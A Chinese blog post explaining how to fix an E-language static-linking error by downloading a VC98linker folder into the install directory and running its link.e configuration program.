在进行易语言静态编译的时候,出现了如下错误: 正在进行名称连接...正在统计需要编译的子程序正在编译...正在生成主程序入口代码程序代码编译成功等待用户输入欲编译到的文件名正在进行名称连接...开始静态链接...无法定位链接器!请检查 tools\link.ini 中的配置是否正确。静态连接失败 错误分析: 易语言5.X版本以上编译为静态编译,静态编译需要借助VC编译器,如果编译器配置不正确或者没安装将会出现以上信息。 解决方案: 打开易语言工作目录(如果你不知道的话,那就找到易语言的快捷方式图标,然后右键-->属性-->查找文件或打开文件位置) 找到一个名为“VC98linker”的文件夹(如果你的易语言目录里面没有就百度下载,然后复制里面就可以了) 运行里面的“link.e”源代码,不要修改,直接点运行 点击“修改”按钮,提示成功后即可即可! 图解如下: 1.下载链接器 为了方便,我已经传到本地文件了~~~链接器地址:https://blog-static.cnblogs.com/files/ECJTUACM-873284962/VC98linker.rar注意:下载后不要删除任何文件,以免编译不成功。2.将下载的链接器解压缩后的文件夹“VC98linker”放到易语言安装目录中 易语言静态编译连接器 3.链接器配置在文件夹“VC98linker”中找到“link.e”文件,打开此易程序。 链接器配置 4:按下F5运行“link.e”文件,点击“修改”按钮即完成链接器配置即可完成静态连接器的配置。 易语言静态连接器修改 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx. 微信打赏 支付宝打赏 作 者: Angel_Kitty 出 处:http://www.cnblogs.com/ECJTUACM-873284962/ 关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击右下角【推荐】推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!
2022年12月